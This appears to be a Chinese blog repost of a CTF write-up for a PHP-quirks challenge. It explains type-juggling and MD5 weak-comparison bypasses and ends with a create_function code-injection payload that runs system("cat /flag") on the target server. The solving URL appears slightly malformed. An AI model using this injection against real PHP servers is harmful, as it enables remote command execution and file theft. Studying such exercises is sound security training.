当前位置: 首页 > news >正文

CTF-DAY11

[NSSRound#16 Basic]了解过PHP特性吗

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {die("no!!");
}
if (intval($num)) {$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {$ctype = strrev($_POST['ctype']);$is_num = strrev($_POST['is_num']);if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {$checker_2 = TRUE;}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {if (!is_numeric($_514) && $_514 > 9999999) {$checker_3 = TRUE;}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {$checker_4 = TRUE;}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {echo $rce;
}

intval()函数‌用于将变量转换为整数类型。
strrev() 函数反转字符串。
ctype_alpha()检测字符是否都是字母。
is_numeric()检测变量是否为数字或数字字符串。

分析

  • 当num是一个数组时,preg_match会将它转化为bool类型,而使整个句子返回false;
  • intval当遇到非空数组时,会返回true
  • 弱比较MD5绕过,注意传参的时候要逆序
    • strrev — 反转字符串
    • ctype_alpha — 检测所有字符是否都是字母
  • intval($ _114) > 114514 && strlen( $_114) <= 3 可以使用科学计数法绕过
  • !is_numeric($_514) && $_514 > 9999999添加字母绕过
  • arr4y要求不能存在NSS字符串。search默认第三个参数是false类型。弱比较,输入0,NSS0,NSS1都行。
http://node4.anna.nssctf.cn:28285/?num[]=aaa&114=9e9514=9999999999aaa&ctype=OZDCKNQ&is_num=807016042&arr4y[]=a

然后提示去next: Rc3_function.php

<?php
error_reporting(0);
highlight_file( FiLE );
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){$nss_shell = create_function($shell,$nss);
}

是create_function注入
shell=&nss=1;}system("cat /flag");/*

参考WP:https://www.cnblogs.com/ForBreeze/p/17972192#_label1

http://www.xdnf.cn/news/359641.html

相关文章:

  • ClickHouse多表join的性能优化:原理与源码详解
  • WebSocket:实时通信的新时代
  • List<T>中每次取固定长度的数据
  • 报错 | vitest中,vue中使用jsx语法,报错:ReferenceError: React is not defined
  • 图上思维:基于知识图的大型语言模型的深层可靠推理
  • YOLOv8 优化:基于 Damo-YOLO 与 DyHead 检测头融合的创新研究
  • Android Framework学习四:init进程实现
  • 矩阵分解——Cholesky分解,LU分解,LDLT分解
  • 华为5.7机考第一题充电桩问题Java代码实现
  • Sourcetree安装使用的详细教程
  • 深入解析网络联通性检测:ping 与 tracert 的原理、用法及实战应用
  • 范式之殇-关系代数与参照完整性在 Web 后台的落寞
  • Linux基础篇命令整合表(大全)
  • Cjson格式解析与接入AI大模型
  • Git标签删除脚本解析与实践:轻松管理本地与远程标签
  • Mysql--基础知识点--91.2--processlist
  • 【LangChain高级系列】LangGraph第一课
  • 开目新一代MOM:AI赋能高端制造的破局之道
  • redhat9 安装pywinrm
  • 制造企业如何选择项目管理软件系统提高项目执行的效率和质量
  • 面试题:请解释Java中的反射机制,并说明其使用场景
  • 2025年科学教育与文化交流国际会议(IACSECE 2025)
  • 【软件设计师:数据】17.数据安全
  • LeetCode 3342.到达最后一个房间的最少时间 II:dijkstra算法(和I一样)
  • 基于OpenCV的人脸识别:EigenFaces算法
  • 变桨系统升级新引擎:CAN转ModbusTCP协议转换技术破解风电数字化困局
  • 在 Spring Boot 中实现动态线程池的全面指南
  • Github 2025-05-09 Java开源项目日报 Top10
  • Error parsing column 10 (YingShou=-99.5 - Double) dapper sqlite
  • 坐席业绩可视化分析工具